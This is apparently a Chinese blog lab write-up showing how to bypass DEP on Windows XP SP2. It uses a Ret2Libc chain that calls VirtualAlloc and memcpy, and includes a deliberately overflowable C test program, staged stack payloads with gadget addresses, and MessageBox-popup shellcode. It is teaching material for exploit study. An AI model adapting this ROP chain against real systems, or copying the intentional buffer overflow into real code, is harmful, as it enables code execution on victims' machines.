• 9.4 RetLibc实战之利用VirtualAlloc


    目录

    一、实验原理

    二、实验环境

    三、实验代码

    四、实验步骤

    1、找到VirtualAlloc函数

    2、申请可执行内存空间

    3、将shellcode复制到可执行内存空间

    4、执行shellcode


    一、实验原理

            为了解决DEP对特殊程序的影响,除了VirtualProtect函数,微软还提供了另一个API函数——VirtualAllloc。当程序需要一段可执行内存时,可以通过kernel32.dll中的VirtualAlloc函数来申请一段具有可执行属性的内存。我们可以将Ret2Libc的第一跳设置为VirtualAlloc函数地址,然后将shellcode复制到申请的内存空间,以绕过DEP的限制。
            关于VirtualAlloc函数:
    1. LPVOID WINAPI VirtualAlloc(
    2. __in_opt LPVOID lpAddress, //申请内存区域的地址
    3. __in SIZE_T dwSize, //申请内存区域的大小
    4. __in DWORD flAllocationType, //申请内存的类型
    5. __in DWORD flProtect //申请内存的访问控制类型
    6. );

            内存申请成功时,函数返回申请内存的起始地址,申请失败时返回NULL。

            VirtualAlloc函数的执行流程:

            关键参数取值如下:

            (1)lpAddress=0x00030000,只要选择一个未被占用的地址即可,没有什么特殊要求;

            (2)dwSize-0xFF,申请空间的大小可以根据shellcode的长度确定;

            (3)flAllocationType=0x00001000,本实验采用该值即可;

            (4)flProtect=0x00000040,内存属性设置为可读可写可执行,该属性对应的代码为0x00000040。

            由此可以看出,本次实验不需要动态设计参数。

    二、实验环境

            windows xp sp2、原版OD、DEP状态:Optout、VC++6.0(release)

    三、实验代码

    1. #include
    2. #include
    3. #include
    4. #include
    5. char shellcode[]=
    6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    15. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    17. "\x90\x90\x90\x90"
    18. "\xBA\xD9\xBB\x7C"//修正EBP retn 4
    19. "\xBC\x45\x82\x7C"//申请空间
    20. "\x90\x90\x90\x90"
    21. "\xFF\xFF\xFF\xFF"//-1当前进程
    22. "\x00\x00\x03\x00"//申请空间起始地址
    23. "\xFF\x00\x00\x00"//申请空间大小
    24. "\x00\x10\x00\x00"//申请类型
    25. "\x40\x00\x00\x00"//申请空间访问类型
    26. "\x90\x90\x90\x90"
    27. "\x8A\x17\x84\x7C"//pop eax retn
    28. "\x90\x90\x90\x90"
    29. "\x90\x90\x90\x90"
    30. "\x90\x90\x90\x90"
    31. "\x90\x90\x90\x90"
    32. "\x0B\x1A\xBF\x7C"//pop pop retn
    33. "\xBA\xD9\xBB\x7C"//修正EBP retn4
    34. "\x5F\x78\xA6\x7C"//pop retn
    35. "\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
    36. "\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
    37. "\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
    38. "\xFF\x00\x00\x00"//shellcode长度
    39. "\xAC\xAF\x94\x7C"//memcpy
    40. "\x00\x00\x03\x00"//一个可以读地址
    41. "\x00\x00\x03\x00"//一个可以读地址
    42. "\x00\x90\x90\x94"
    43. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    44. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    45. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    46. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    47. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    48. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    49. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    50. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    51. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    52. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    53. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    54. ;
    55. void test()
    56. {
    57. char tt[176];
    58. memcpy(tt,shellcode,450);
    59. }
    60. int main()
    61. {
    62. HINSTANCE hInst = LoadLibrary("shell32.dll");
    63. char temp[200];
    64. __asm int 3
    65. test();
    66. return 0;
    67. }

            实验思路及代码简要解释:

            (1)本次实验不采用GS和SafeSEH;

            (2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数返回地址;

            (3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualAlloc函数申请一段具有执行权限的内存;

            (4)通过memcpy函数将shellcode复制到VirtualAlloc函数申请的可执行内存空间中。

    四、实验步骤

    1、找到VirtualAlloc函数

            可知,本机VirtualAlloc()函数的地址为0x7C809AE1。直接选择0x7C809AF4(call VirtualAllocEx)作为切入点。

    2、申请可执行内存空间

            由于EBP在溢出过程中被破坏,所以第一步依然是修复EBP,我们用PUSH ESP POP EBP RETN 4指令覆盖test函数的返回地址;

            在内存中找一条PUSH ESP POP EBP RETN 4指令,这里选0x5D1D8B85。

            然后按照VirtualAlloc函数的参数布置一个能够申请可执行内存空间的shellcode,shellcode如下所示:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\x85\x8B\x1D\x5D"//修正EBP retn 4
    7. "\xF4\x9A\x80\x7C"//申请空间
    8. "\x90\x90\x90\x90"
    9. "\xFF\xFF\xFF\xFF"//-1当前进程
    10. "\x00\x00\x03\x00"//申请空间起始地址
    11. "\xFF\x00\x00\x00"//申请空间大小
    12. "\x00\x10\x00\x00"//申请类型
    13. "\x40\x00\x00\x00"//申请空间访问类型
    14. ;

            编译并运行OD,运行到即将进入VIrtualAllochan函数的地方,注意参数在栈帧中的位置;

            执行完VirtualAlloc函数;

            可以看到申请可执行内存空间成功。

    3、将shellcode复制到可执行内存空间

            确定memcpy()函数在内存中的地址,memcpy函数位于ntdll.dll:

            可知memcpy在0x7C921DB3处。memcpy函数的切入点为0x7C921DB8处。

            memcpy函数需要三个参数,依次为目的内存起始地址、源内存起始地址、复制长度,其中目的内存起始地址和复制长度都可以直接写在shellcode中,唯一需要确定的就是源内存起始地址的确定。

            具体做法:保证源内存起始地址在shellcode中关键代码的前边即可,因此可以使用PUSH ESP JMP EAX来填充这个参数。将ESP中保存的数据放到memcpy函数的源内存地址这一参数的地方,因为此时ESP的指向一定在shellcode之前,所以就可以保证将shellcode复制到可执行区域。

            执行完RETN 10之后,EIP将指向POP EAX RETN,ESP将指向0x0012FEDC处,而0x0012FEDC处就是放一条让EAX指向的特殊指令。暂时不讨论这一指令是什么。

            找一条POP EAX RETN指令:

            这里用0x7DCED974处的POP EAX RETN。    

    另外,需要注意:此时EBP已经被覆盖,所以需要二次修复。

            大致构造shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    13. "\x90\x90\x90\x90"
    14. "\x85\x8B\x1D\x5D"//修正EBP retn 4
    15. "\xF4\x9A\x80\x7C"//申请空间
    16. "\x90\x90\x90\x90"
    17. "\xFF\xFF\xFF\xFF"//-1当前进程
    18. "\x00\x00\x03\x00"//申请空间起始地址
    19. "\xFF\x00\x00\x00"//申请空间大小
    20. "\x00\x10\x00\x00"//申请类型
    21. "\x40\x00\x00\x00"//申请空间访问类型
    22. "\x90\x90\x90\x90"
    23. "\x74\xD9\xCE\x7D"//pop eax retn
    24. "\x90\x90\x90\x90"
    25. "\x90\x90\x90\x90"
    26. "\x90\x90\x90\x90"
    27. "\x90\x90\x90\x90"
    28. "\x90\x90\x90\x90"//eax指向先不确定
    29. "\x85\x8B\x1D\x5D"//修正EBP retn 4

            重新编译程序,程序停在修正EBP的位置,查看内存状态:

            注意到:EBP+8、EBP+C、EBP+10保存着memcpy的三个参数。我们现在要改变EBP+C的值,也就是让ESP指向0x0012FEF0,再用PUSH RETN就可修改源内存地址这一参数了。

            可以看到各个参数的入栈顺序,已经对应的入栈指令。

            程序指向retn 4之后,ESP将会指向0x0012FEEC处,所以在Ox0012FEE4处放一个POP RETN指令。这样ESP就可以指向EBP+10处了,再执行push指令,就可以修改源内存地址这一参数了。

            找一个POP RETN指令:

            选择0x7DC2BD78处的POP ECX RETN指令。

            在执行完PUSH操作后,收回控制程序的最佳位置在EBX+0x14,即0x0012FEF8处,在这里执行RETN指令既不会破坏memcpy函数的参数,也可以减少shellcode的长度。

            执行PUSH操作后,ESP指向0x0012FEF0处,只需要POP两次,就可以使得ESP指向EBP+0x14的位置,所以JMP EAX中的EAX应该指向类似POP POP RETN的指令序列。然后再EBP+0x14处放置memcpy函数的切入点0x7C921DB3,这样程序就可以转入memcpy函数中执行复制操作了。

            找一条POP POP RETN指令:

            选择0x7D713C4E处的POP POP RETN指令序列。

            PUSH ESP JMP EAX:

            地址:0x77EBC6C6

            构造shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\x85\x8B\x1D\x5D"//修正EBP retn 4
    7. "\xF4\x9A\x80\x7C"//申请空间
    8. "\x90\x90\x90\x90"
    9. "\xFF\xFF\xFF\xFF"//-1当前进程
    10. "\x00\x00\x03\x00"//申请空间起始地址
    11. "\xFF\x00\x00\x00"//申请空间大小
    12. "\x00\x10\x00\x00"//申请类型
    13. "\x40\x00\x00\x00"//申请空间访问类型
    14. "\x90\x90\x90\x90"
    15. "\x74\xD9\xCE\x7D"//pop eax retn
    16. "\x90\x90\x90\x90"
    17. "\x90\x90\x90\x90"
    18. "\x90\x90\x90\x90"
    19. "\x90\x90\x90\x90"
    20. "\x4E\x3C\x71\x7D"//eax指向POP POP RETN
    21. "\x85\x8B\x1D\x5D"//修正EBP retn 4
    22. "\x78\xBD\xC2\x7D"//pop retn
    23. "\x90\x90\x90\x90"
    24. "\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
    25. "\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
    26. "\xFF\x00\x00\x00"//shellcode长度
    27. "\xB8\x1D\x92\x7C"//memcpy

            可以看到复制操作的源内存起始地址为0x0012FEF4,这个位置也是memcpy函数的复制长度参数所在位置,所以只要在它后边放置对话框的机器码即可。

    4、执行shellcode

            构造shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    13. "\x90\x90\x90\x90"
    14. "\x85\x8B\x1D\x5D"//修正EBP retn 4
    15. "\xF4\x9A\x80\x7C"//申请空间
    16. "\x90\x90\x90\x90"
    17. "\xFF\xFF\xFF\xFF"//-1当前进程
    18. "\x00\x00\x03\x00"//申请空间起始地址
    19. "\xFF\x00\x00\x00"//申请空间大小
    20. "\x00\x10\x00\x00"//申请类型
    21. "\x40\x00\x00\x00"//申请空间访问类型
    22. "\x90\x90\x90\x90"
    23. "\x74\xD9\xCE\x7D"//pop eax retn
    24. "\x90\x90\x90\x90"
    25. "\x90\x90\x90\x90"
    26. "\x90\x90\x90\x90"
    27. "\x90\x90\x90\x90"
    28. "\x4E\x3C\x71\x7D"//eax指向POP POP RETN
    29. "\x85\x8B\x1D\x5D"//修正EBP retn 4
    30. "\x78\xBD\xC2\x7D"//pop retn
    31. "\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
    32. "\x00\x00\x03\x00"//可执行内存空间地址,memcpy参数
    33. "\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
    34. "\xFF\x00\x00\x00"//shellcode长度
    35. "\xB8\x1D\x92\x7C"//memcpy
    36. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    37. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    38. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    39. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    40. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    41. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    42. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    43. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    44. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    45. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    46. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

             编译运行,发现虽然复制操作会把一些额外的代码复制过去,但是不影响弹窗,故没深究,直接弹窗了。

     

     

     
  • 相关阅读:
    吐血总结!100个Python面试问题集锦
    【记录】IntelliJ IDEA实用的插件
    应用运维工程师(技术二面)面试笔记
    面试系列Spring:SpringMVC的工作流程
    安卓稳定性测试必备工具Monkey详解
    高校 Web 站点网络安全面临的主要的威胁
    【笔记】自动驾驶预测与决策规划_Part2_基于模型的预测方法
    var、let、const的区别
    滑动窗口延申题:最小覆盖子串
    【Python机器学习】零基础掌握SparseCoder矩阵分解
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/127823833